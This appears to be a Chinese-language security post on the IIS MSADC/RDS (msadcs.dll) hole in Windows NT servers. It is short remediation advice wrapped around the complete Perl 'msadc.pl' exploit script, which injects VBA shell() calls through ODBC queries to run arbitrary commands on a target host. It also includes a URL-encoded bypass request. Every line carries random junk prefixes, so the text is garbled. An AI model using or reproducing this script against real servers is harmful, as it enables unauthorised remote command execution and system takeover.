IIS的漏洞(威胁NT之三招穿墙手) (MS,缺陷)
EVmE{XlD; ,v1-y
?kB 涉及程序：
_jb"@TY Microsoft NT server
J2#=`|t" 13{"sY:PT# 描述：
{&(bKQ 1个NT的重大漏洞造成全世界大约1/4的NT server可以被入侵者获取最高权限
]O&A:Us I p0@Q}^ 详细：
'E8dkVlI 如果你没有时间读详细内容的话，就删除:
s?K4::@ Fv c:\Program Files\Common Files\System\Msadc\msadcs.dll
.Lu=16 有关的安全问题就没有了。
5p{tt;9[ s : q15" 微软对关于Msadc的问题发了三次以上的补丁，仍然存在问题。
m9>nv rQ 1J *wW# e 1、第一次补丁，基本上，其安全问题是MS Jet 3.5造成的，它允许调用VBA shell()函数，这将允许入侵者远程运行shell指令。
;/{Q4X{ 关于利用ODBC远程漏洞的描述，请参看:
j'0*|f ^z <F. Ol/ 'h http://www.cnns.net/frankie/mirror/nttoolz/ntpipe.htm Ez1* } ;1OTK6 2、IIS 4.0的缺省安装设置的是MDAC1.5，这个安装下有一个/msadc/msadcs.dll的文件，也允许通过web远程访问ODBC，获取系统的控制权，这点在很多黑客论坛都讨论过，请参看
Z*e7W O. http://www.microsoft.com/security/bulletins/MS99-025faq.asp |-aj$u%~ :~)Q] G1Nj 这里不再论述。
s*#|EdD6@ TAC\2*bWje 3、如果web目录下的/msadc/msadcs.dll/可以访问，那么ms的任何补丁可能都没用，用类似:
K6oX n z} zB]T 5] /%6Dsadc/%6Dsadcs.dll/V%62BusO%62j.V%62BusO%62jCls.GetRecordset
Tx_(^K 的请求，就可以绕过安全机制进行非法的VbBusObj请求，从而达到入侵的目的。 下面的代码仅供测试，严禁用于非法用途，否则后果自负!!!
>a-+7{}; K ;xW /7? 80]TKf> #将下面这段保存为txt文件，然后: "perl -x 文件名"
$-AvH( @ YV940A-n #!perl
_0j}(Q>|H# #
ft6^s(t # MSADC/RDS 'usage' (aka exploit) script
XP;&iZJ #
k)5_1 y # by rain.forest.puppy
C](z#c~c #
RF4$ # Many thanks to Weld, Mudge, and Dildog from l0pht for helping me
pdi=6<?bd # beta test and find errors!
%]chL.s jDlA <1 use Socket; use Getopt::Std;
T!l
mO? Q getopts("e:vd:h:XR", \%args);
(TEo_BW|+ y#S1c)vU print "-- RDS exploit by rain forest puppy / ADM / Wiretrip --\n";
0LWdJ ($? 7fTx Gm if (!defined $args{h} && !defined $args{R}) {
`OKo= e~, print qq~
g!1I21M1~ Usage: msadc.pl -h <host> { -d <delay> -X -v }
'FShNY5 -h <host> = host you want to scan (ip or domain)
bK3B3r#$ -d <seconds> = delay between calls, default 1 second
O.*jR`l -X = dump Index Server path table, if available
b/}'Vf[ -v = verbose
+w "XNl -e = external dictionary file for step 5
`[WyH O|8 "_ L kZBW. Or a -R will resume a command session
DVObrL)znL 7dSh3f! ~; exit;}
fd4;mc1T MWM
+hk1fs $ip=$args{h}; $clen=0; $reqlen=0; $|=1; $target="";
U? 8i'5) if (defined $args{v}) { $verbose=1; } else {$verbose=0;}
mT96 ]V \ if (defined $args{d}) { $delay=$args{d};} else {$delay=1;}
;K3d' U if(!defined $args{R}){ $ip.="." if ($ip=~/[a-z]$/);
xM&EL>m>L $target= inet_aton($ip) || die("inet_aton problems; host doesn't exist?");}
G9\EZ\x! if (defined $args{X} && !defined $args{R}) { &hork_idx; exit; }
6 |QTS|! : I2H&,JT if (!defined $args{R}){ $ret = &has_msadc;
YVo ao#! die("Looks like msadcs.dll doesn't exist\n")if $ret==0}
t-_#Q bzE{ sNL+F print "Please type the NT commandline you want to run (cmd /c assumed):\n"
/x$}D=(CZ . "cmd /c ";
ZQ|5W6c $in=<STDIN>; chomp $in;
nt7|f,_J $command="cmd /c " . $in ;
u[)_^kIE(n O{~K R/ if (defined $args{R}) {&load; exit;}
>wA+[81[ + a-D#^ 2; print "\nStep 1: Trying raw driver to btcustmr.mdb\n";
_0K.Fk*(! &try_btcustmr;
}@wVW))6$ mIvnz{_d print "\nStep 2: Trying to make our own DSN...";
a_J b> } &make_dsn ? print "<<success>>\n" : print "<<fail>>\n";
[~COYjp >z QNHSi print "\nStep 3: Trying known DSNs...";
Y.7} &known_dsn;
[O\9 9> sJOV2#r print "\nStep 4: Trying known .mdbs...";
0 < g{ V &known_mdb;
E30Ln_^o 0Q7M M6 if (defined $args{e}){
*#zS^b n print "\nStep 5: Trying dictionary of DSN names...";
JRXRi*@ &dsn_dict; } else { "\nNo -e; Step 5 skipped.\n\n"; }
ul$,q05nb Y3k[~A7X print "Sorry Charley...maybe next time?\n";
L"^OdpOs exit;
s"WBw'_<< b:1 L@8s; ##############################################################################
+Juh:1H NEw $q4 sub sendraw { # ripped and modded from whisker
g rspt} sleep($delay); # it's a DoS on the server! At least on mine...
g8RPHj vZ my ($pstr)=@_;
Kk=LXmL2 socket(S,PF_INET,SOCK_STREAM,getprotobyname('tcp')||0) ||
<[ZI.+_Wt die("Socket problems\n");
Cc Y7$D if(connect(S,pack "SnA4x8",2,80,$target)){
*}w+ 68eO select(S); $|=1;
A @2Bs 5F print $pstr; my @in=<S>;
gqfDa cDJL select(STDOUT); close(S);
wx*1*KZ return @in;
|4fF T ` } else { die("Can't connect...\n"); }}
{jW%P="z$" &?y 7I Pp ##############################################################################
g5Hr7K m xzr<k Sp sub make_header { # make the HTTP request
H:Y&OZ my $msadc=<<EOT
Xh}&uZ`A POST /msadc/msadcs.dll/AdvancedDataFactory.Query HTTP/1.1
'mE^5K User-Agent: ACTIVEDATA
0e16Ow6\!1 Host: $ip
pawl|Z'Ez Content-Length: $clen
U*\17YU6h Connection: Keep-Alive
`eR 7H>I Gq1)1 ADCClientVersion:01.06
64um u l Content-Type: multipart/mixed; boundary=!ADM!ROX!YOUR!WORLD!; num-args=3
^_W40/c3 MA*
:<l --!ADM!ROX!YOUR!WORLD!
QIK
9 Content-Type: application/x-varg
z)w-N Content-Length: $reqlen
E
oe}l
2w?hgNz EOT
I 8z G~L%" ; $msadc=~s/\n/\r\n/g;
S-c ^eLzQ return $msadc;}
R5(T([w' q.W> 4 k ##############################################################################
/pykW_`/- -c+]Wm"\ sub make_req { # make the RDS request
24B<[lSK my ($switch, $p1, $p2)=@_;
:m ZYS4L~ my $req=""; my $t1, $t2, $query, $dsn;
v* ~3Z1 qINTCm j if ($switch==1){ # this is the btcustmr.mdb query
JvL{| KtyU $query="Select * from Customers where City=" . make_shell();
zK;XF N#U^ $dsn="driver={Microsoft Access Driver (*.mdb)};dbq=" .
K0Tg|9
$p1 . ":\\" . $p2 . "\\help\\iis\\htm\\tutorial\\btcustmr.mdb;";}
tJU-<{8 !Zjq9{t\" elsif ($switch==2){ # this is general make table query
n >FY? $query="create table AZZ (B int, C varchar(10))";
7lA:)a_!] $dsn="$p1";}
{/ 2E*|W~I r*XLV{+4 elsif ($switch==3){ # this is general exploit table query
)(T AT< $query="select * from AZZ where C=" . make_shell();
N+g@8Q2s;5 $dsn="$p1";}
75NRCXh. +B"0{>n}F elsif ($switch==4){ # attempt to hork file info from index server
@~:8 ye $query="select path from scope()";
Z^ar.boc $dsn="Provider=MSIDXS;";}
Vw~\H Gs/~ wT_h!W elsif ($switch==5){ # bad query
[*4fwk^ $query="select";
lFq{O;q7} $dsn="$p1";}
XKU=oI0 \j NNkP\oh\ $t1= make_unicode($query);
0. ;}]v $t2= make_unicode($dsn);
]A+o>#n}x $req = "\x02\x00\x03\x00";
Es4qPB`g. $req.= "\x08\x00" . pack ("S1", length($t1));
lpm JLH.F $req.= "\x00\x00" . $t1 ;
] d?x$> $req.= "\x08\x00" . pack ("S1", length($t2));
55 DE\<r $req.= "\x00\x00" . $t2 ;
yVJ% +d:6 $req.="\r\n--!ADM!ROX!YOUR!WORLD!--\r\n";
zT9JBMNE: return $req;}
j*R,m1e8 "484 n/D ##############################################################################
[V}, tO|
iK;opA" sub make_shell { # this makes the shell() statement
\RG!@$i return "'|shell(\"$command\")|'";}
9A$m$ KZ:hKY@q ##############################################################################
h<l1U'Bn7 %, q. ),F sub make_unicode { # quick little function to convert to unicode
anN#5jt my ($in)=@_; my $out;
'%;\YD9 for ($c=0; $c < length($in); $c++) { $out.=substr($in,$c,1) . "\x00"; }
#x@ eDnb_ return $out;}
= Lp7{09u 3$/ 4wH^ ##############################################################################
q3w1GD
+OHGn;C sub rdo_success { # checks for RDO return success (this is kludge)
U1R4x!ym4 my (@in) = @_; my $base=content_start(@in);
E6MA?Ax&= if($in[$base]=~/multipart\/mixed/){
TnH\ O$ return 1 if( $in[$base+10]=~/^\x09\x00/ );}
SNpi=K!yn return 0;}
+j/~Af p5f $)Bg JDr ##############################################################################
\_BkY%a Ym8}ZW- sub make_dsn { # this makes a DSN for us
m`A%
p my @drives=("c","d","e","f");
&#w=7L3AW print "\nMaking DSN: ";
:k=mzO<& foreach $drive (@drives) {
@{HrJ/4%:& print "$drive: ";
aUopNmN my @results=sendraw("GET /scripts/tools/newdsn.exe?driver=Microsoft\%2B" .
vqd X^m^PY "Access\%2BDriver\%2B\%28*.mdb\%29\&dsn=wicca\&dbq="
I PCGt{B~ . $drive . "\%3A\%5Csys.mdb\&newdb=CREATE_DB\&attr= HTTP/1.0\n\n");
\XzM ^K3 $results[0]=~m#HTTP\/([0-9\.]+) ([0-9]+) ([^\n]*)#;
=H`Q~ Xx return 0 if $2 eq "404"; # not found/doesn't exist
_lxco=qd=% if($2 eq "200") {
j? i#L}.I foreach $line (@results) {
S?0$? w? return 1 if $line=~/<H2>Datasource creation successful<\/H2>/;}}
l.=p8-/$'7 } return 0;}
6g:|*w WcUJhi^\C ##############################################################################
!36]ud& \Y|*Nee}XP sub verify_exists {
P:xT0gtt my ($page)=@_;
hpbf&S4 my @results=sendraw("GET $page HTTP/1.0\n\n");
PAF8W lg return $results[0];}
9$*s 8}| 7<\C ?`q" ##############################################################################
C(?blv-vM0 V-yUJ#f8[ sub try_btcustmr {
t T%/r, my @drives=("c","d","e","f");
+0$/y]k my @dirs=("winnt","winnt35","winnt351","win","windows");
r%]Qlt ~K Jh/ E@}' foreach $dir (@dirs) {
X` YwP/D print "$dir -> "; # fun status so you can see progress
]+ Ixi o foreach $drive (@drives) {
6<'K~ 1do: print "$drive: "; # ditto
&2.u%[gO[q $reqlen=length( make_req(1,$drive,$dir) ) - 28;
(R}ii}& $reqlenlen=length( "$reqlen" );
5TKJWO. $clen= 206 + $reqlenlen + $reqlen;
OjE` 1h\ w Iv o"|% my @results=sendraw(make_header() . make_req(1,$drive,$dir));
Vm1-C<V9 if (rdo_success(@results)){print "Success!\n";save(1,1,$drive,$dir);exit;}
A< MtKb
else { verbose(odbc_error(@results)); funky(@results);}} print "\n";}}
`)$_YZq|SR VR? ^HA9 ##############################################################################
19e8 #s5N[uK^m sub odbc_error {
rRFAD{5) my (@in)=@_; my $base;
olux6RP[B my $base = content_start(@in);
}?8uH/+ZA if($in[$base]=~/application\/x-varg/){ # it *SHOULD* be this
Fj
p.T; $in[$base+4]=~s/[^a-zA-Z0-9 \[\]\:\/\\'\(\)]//g;
JCniN";r[ $in[$base+5]=~s/[^a-zA-Z0-9 \[\]\:\/\\'\(\)]//g;
9WG{p[ $in[$base+6]=~s/[^a-zA-Z0-9 \[\]\:\/\\'\(\)]//g;
vIGw 6BJI return $in[$base+4].$in[$base+5].$in[$base+6];}
(8a#\Y[b print "\nNON-STANDARD error. Please sent this info to rfp\@wiretrip.net:\n";
es:2M |#O print "$in : " . $in[$base] . $in[$base+1] . $in[$base+2] . $in[$base+3] .
6QQfQ, $in[$base+4] . $in[$base+5] . $in[$base+6]; exit;}
qCQ./"8 u{H?4|'( ##############################################################################
!
NV#U *?p|F&J sub verbose {
z_|oCT!6 my ($in)=@_;
5z$,6T return if !$verbose;
i' /m4 !>h print STDOUT "\n$in\n";}
2h=%K/hhY y(jg#7) ##############################################################################
^Z RYRA W6c]-pc sub save {
? 9+@+q my ($p1, $p2, $p3, $p4)=@_;
^C)n$L>C0 open(OUT, ">rds.save") || print "Problem saving parameters...\n";
'-$XX%TOAc print OUT "$ip\n$p1\n$p2\n$p3\n$p4\n";
R qip kx close OUT;}
tfO#vw, @ YPDf
Y<?v ##############################################################################
j{ ++6<tr ?X$, fQ#F| sub load {
giY80!GX my @p; my $drvst="driver={Microsoft Access Driver (*.mdb)}; dbq=";
3INI?y}t open(IN,"<rds.save") || die("Couldn't open rds.save\n");
NPnHH:\; @p=<IN>; close(IN);
%:v`EjRD0 $ip="$p[0]"; $ip=~s/\n//g; $ip.="." if ($ip=~/[a-z]$/);
h f6f.Z $target= inet_aton($ip) || die("inet_aton problems");
)$ % Z: print "Resuming to $ip ...";
Y$>-%KcKeI $p[3]="$p[3]"; $p[3]=~s/\n//g; $p[4]="$p[4]"; $p[4]=~s/\n//g;
$rB3m~c| if($p[1]==1) {
)eeN1G`rDE $reqlen=length( make_req(1,"$p[3]","$p[4]") ) - 28;
3
fj $reqlenlen=length( "$reqlen" ); $clen= 206 + $reqlenlen + $reqlen;
p/6zEZ* my @results=sendraw(make_header() . make_req(1,"$p[3]","$p[4]"));
p
zw8 T if (rdo_success(@results)){print "Success!\n";}
c7 uG9 else { print "failed\n"; verbose(odbc_error(@results));}}
~"x5U{K48S elsif ($p[1]==3){
"8 )z=n if(run_query("$p[3]")){
f>j wN@ ( print "Success!\n";} else { print "failed\n"; }}
+|cI:|H> elsif ($p[1]==4){
-Yi,_#3{ if(run_query($drvst . "$p[3]")){
vsB*rP= print "Success!\n"; } else { print "failed\n"; }}
;i uQ?MR3 exit;}
. RVVWqW n
1b(\PA ##############################################################################
Z3KO90O!8 ='?:z2lJ sub create_table {
: fcM:w& my ($in)=@_;
Q[ n\R@ $reqlen=length( make_req(2,$in,"") ) - 28;
3Mjj' 5KH! $reqlenlen=length( "$reqlen" );
~`8hwR1&z $clen= 206 + $reqlenlen + $reqlen;
yc;3Id5?> my @results=sendraw(make_header() . make_req(2,$in,""));
B:TR2G9UT return 1 if rdo_success(@results);
e0,'+;*=g my $temp= odbc_error(@results); verbose($temp);
h+~P"i}&\ return 1 if $temp=~/Table 'AZZ' already exists/;
K-vWa 2 return 0;}
gbBy/_b yY{kG2b, ##############################################################################
E8\XNG)V4 q-$`k sub known_dsn {
RSfM]w}Hq# # we want 'wicca' first, because if step 2 made the DSN, it's ready to go
e'*HS7g my @dsns=("wicca", "AdvWorks", "pubs", "CertSvr", "CFApplications",
` 1` f*d
v "cfexamples", "CFForums", "CFRealm", "cfsnippets", "UAM",
AIl4]F5I "banner", "banners", "ads", "ADCDemo", "ADCTest");
r M}0%J' }alj[) foreach $dSn (@dsns) {
>>Ar$ print ".";
[onqNp next if (!is_access("DSN=$dSn"));
| $^;wP if(create_table("DSN=$dSn")){
= v~1qWX print "$dSn successful\n";
w? vVVA if(run_query("DSN=$dSn")){
Xt/Ksw"wn print "Success!\n"; save (3,3,"DSN=$dSn",""); exit; } else {
)+y G+ print "Something's borked. Use verbose next time\n";}}} print "\n";}
%y[1H5)3< 2RtHg_d_l ##############################################################################
!eR3@%4
,<,:8B sub is_access {
k_|^ kdWJ my ($in)=@_;
/TQ}}
YVw $reqlen=length( make_req(5,$in,"") ) - 28;
5A eQQU $reqlenlen=length( "$reqlen" );
[dX`K `k $clen= 206 + $reqlenlen + $reqlen;
Z,7R;,qX my @results=sendraw(make_header() . make_req(5,$in,""));
4E P<tV my $temp= odbc_error(@results);
\u Od ALZ verbose($temp); return 1 if ($temp=~/Microsoft Access/);
^)yTBn, return 0;}
U]~^Z R we7c`1E ##############################################################################
T $ 4P_* 9%)=`W sub run_query {
B tt]R my ($in)=@_;
/
jTT5 $reqlen=length( make_req(3,$in,"") ) - 28;
|aToUi.Q% $reqlenlen=length( "$reqlen" );
uwIc963 $clen= 206 + $reqlenlen + $reqlen;
Z{NC9 my @results=sendraw(make_header() . make_req(3,$in,""));
KLQTKMNv return 1 if rdo_success(@results);
+V862R4,o my $temp= odbc_error(@results); verbose($temp);
9Mm!%Hu return 0;}
N[|Nxm0z/C ]<uQ.~ ##############################################################################
hPhZUL% qa >Ay|92e sub known_mdb {
[ &S}dQ" my @drives=("c","d","e","f","g");
Oeya%C5' my @dirs=("winnt","winnt35","winnt351","win","windows");
\a^,sV my $dir, $drive, $mdb;
th5g\h%j* my $drv="driver={Microsoft Access Driver (*.mdb)}; dbq=";
Wo$%9!W 8euZTfK9e # this is sparse, because I don't know of many
cTZ.}eLh my @sysmdbs=( "\\catroot\\icatalog.mdb",
,38Eq`5&W "\\help\\iishelp\\iis\\htm\\tutorial\\eecustmr.mdb",
Tsb{25`+ "\\system32\\certmdb.mdb",
'fwU]Hm "\\system32\\certlog\\certsrv.mdb" ); #these are %systemroot%
&sVvWNO#2 VzS&`d.h my @mdbs=( "\\cfusion\\cfapps\\cfappman\\data\\applications.mdb",
@gGRm "\\cfusion\\cfapps\\forums\\forums_.mdb",
6~meM@ "\\cfusion\\cfapps\\forums\\data\\forums.mdb",
/nx'Z0&+X "\\cfusion\\cfapps\\security\\realm_.mdb",
^,Ydr~|T "\\cfusion\\cfapps\\security\\data\\realm.mdb",
<oMUQ*OtV "\\cfusion\\database\\cfexamples.mdb",
}1 vT) "\\cfusion\\database\\cfsnippets.mdb",
_1Z=q.sC "\\inetpub\\iissamples\\sdk\\asp\\database\\authors.mdb",
l t'I,Xt "\\progra~1\\common~1\\system\\msadc\\samples\\advworks.mdb",
Eu<1Bs e; "\\cfusion\\brighttiger\\database\\cleam.mdb",
Mq%,lJA\ "\\cfusion\\database\\smpolicy.mdb",
7YWNd^FI
V "\\cfusion\\database\cypress.mdb",
HHk)ZfWRo "\\progra~1\\ableco~1\\ablecommerce\\databases\\acb2_main1.mdb",
2i #Sn' 1 "\\website\\cgi-win\\dbsample.mdb",
(kBP(2V "\\perl\\prk\\bookexamples\\modsamp\\database\\contact.mdb",
?|;yVew "\\perl\\prk\\bookexamples\\utilsamp\\data\\access\\prk.mdb"
o6kNx>tc) ); #these are just
hm bj*8 foreach $drive (@drives) {
AF\T\mtvRm foreach $dir (@dirs){
k5d\ w@G"~ foreach $mdb (@sysmdbs) {
&.i^dO^} print ".";
Ip utF<p if(create_table($drv . $drive . ":\\" . $dir . $mdb)){
v]:=K-1n print "\n" . $drive . ":\\" . $dir . $mdb . " successful\n";
w[Gh+L30=5 if(run_query($drv . $drive . ":\\" . $dir . $mdb)){
72oWhX=M% print "Success!\n"; save (4,4,$drive . ":\\" . $dir . $mdb,""); exit;
s0UF ym 8 } else { print "Something's borked. Use verbose next time\n"; }}}}}
5m $2Ku i@"e,7mSG foreach $drive (@drives) {
<pLT'Y= foreach $mdb (@mdbs) {
gW(gJ;
L,% print ".";
}peBR80tQ if(create_table($drv . $drive . $dir . $mdb)){
[Bb utGvj print "\n" . $drive . $dir . $mdb . " successful\n";
1MkI0OZE
if(run_query($drv . $drive . $dir . $mdb)){
XhU @W}} print "Success!\n"; save (4,4,$drive . $dir . $mdb,""); exit;
T".]m7! } else { print "Something's borked. Use verbose next time\n"; }}}}
<g8K})P }
(AY9oei> "L"150Ih ##############################################################################
=H7xD"'%R ` r Y2up#% sub hork_idx {
)n7l'}o?+ print "\nAttempting to dump Index Server tables...\n";
)YW<" $s print " NOTE: Sometimes this takes a while, other times it stalls\n\n";
79J-)e9 $reqlen=length( make_req(4,"","") ) - 28;
2+ 8# H. $reqlenlen=length( "$reqlen" );
y9Y 1PH7G $clen= 206 + $reqlenlen + $reqlen;
]bCq=6ZKR my @results=sendraw2(make_header() . make_req(4,"",""));
v"u^M-_ if (rdo_success(@results)){
][PzgzG my $max=@results; my $c; my %d;
~o3Hdd_#}N for($c=19; $c<$max; $c++){
[j x0-3s:X $results[$c]=~s/\x00//g;
}b3/b $results[$c]=~s/[^a-zA-Z0-9:~ \\\._]{1,40}/\n/g;
1-SVCk
- $results[$c]=~s/[^a-zA-Z0-9:~ \\\._\n]//g;
A!W0S $results[$c]=~/([a-zA-Z]\:\\)([a-zA-Z0-9 _~\\]+)\\/;
d?idTcgs $d{"$1$2"}="";}
m" tOe? foreach $c (keys %d){ print "$c\n"; }
zQy"m-Q } else {print "Index server doesn't seem to be installed.\n"; }}
ye 6H*K YL^=t^ !4 ##############################################################################
-!q u"A: w6|9|f/ sub dsn_dict {
RH)EB<PV open(IN, "<$args{e}") || die("Can't open external dictionary\n");
s3s4OAY while(<IN>){
hi =XYC, $hold=$_; $hold=~s/[\r\n]//g; $dSn="$hold"; print ".";
> Vb@[ next if (!is_access("DSN=$dSn"));
dHnR_. if(create_table("DSN=$dSn")){
6" T ['6:j print "$dSn successful\n";
k ^'f[|} if(run_query("DSN=$dSn")){
M
s9E@E print "Success!\n"; save (3,3,"DSN=$dSn",""); exit; } else {
qgt[ ~i* print "Something's borked. Use verbose next time\n";}}}
3 {Nbp print "\n"; close(IN);}
> r5P 3G1 !%mAh81{&/ ##############################################################################
$Byj}^ ;1 iSRpfU sub sendraw2 { # ripped and modded from whisker
qK S;x@ sleep($delay); # it's a DoS on the server! At least on mine...
C z#Z <: my ($pstr)=@_;
T4e\0.If socket(S,PF_INET,SOCK_STREAM,getprotobyname('tcp')||0) ||
<c[U#KrvJ die("Socket problems\n");
wHjLd$ +o if(connect(S,pack "SnA4x8",2,80,$target)){
FwKj+f" print "Connected. Getting data";
vZ7gS open(OUT,">raw.out"); my @in;
FaTa(3$% select(S); $|=1; print $pstr;
#PvB/ 3 while(<S>){ print OUT $_; push @in, $_; print STDOUT ".";}
Q3W#`6jpF close(OUT); select(STDOUT); close(S); return @in;
AZ |yX } else { die("Can't connect...\n"); }}
rf+:=|/_3 RNVbcd ##############################################################################
` D7C?M#j] w^k;D,h sub content_start { # this will take in the server headers
}]1BO my (@in)=@_; my $c;
8cx=#Me for ($c=1;$c<500;$c++) {
Fh7 '[>onw if($in[$c] =~/^\x0d\x0a/){
}S-DB#6 if ($in[$c+1]=~/^HTTP\/1.[01] [12]00/) { $c++; }
R$kpiqK else { return $c+1; }}}
=tTqN+4 return -1;} # it should never get here actually
2],_^XBvB p4> $z& _ ##############################################################################
#h!*dj" l*b)st_p% sub funky {
P QW(EeQ my (@in)=@_; my $error=odbc_error(@in);
Gnm4gF!BI if($error=~/ADO could not find the specified provider/){
iL{M+Ic print "\nServer returned an ADO miscofiguration message\nAborting.\n";
ChryJRuwv5 exit;}
jdeV|H} u if($error=~/A Handler is required/){
n@C~ev@%S print "\nServer has custom handler filters (they most likely are patched)\n";
u]^N&2UW exit;}
{)f~#37 if($error=~/specified Handler has denied Access/){
a\uie$"cr] print "\nServer has custom handler filters (they most likely are patched)\n";
iyZ Z}M exit;}}
C.:=lo B y@bcYOh3 ##############################################################################
EY`H}S!xy >C WKH~ sub has_msadc {
ER2GjZa\z my @results=sendraw("GET /msadc/msadcs.dll HTTP/1.0\n\n");
jkAAqR R my $base=content_start(@results);
f"#m=_Xm return 1 if($results[$base]=~/Content-Type: application\/x-varg/);
F-(dRSDNM return 0;}
j cCoan R`Aj|C
z ########################
fqz28aHh \ A1uhHP! *x~xWg9^ 解决方案：
Y /TlE? 1、移除c:\Program Files\Common Files\System\Msadc\msadcs.dll
Ok A K 2、移除web 目录: /msadc
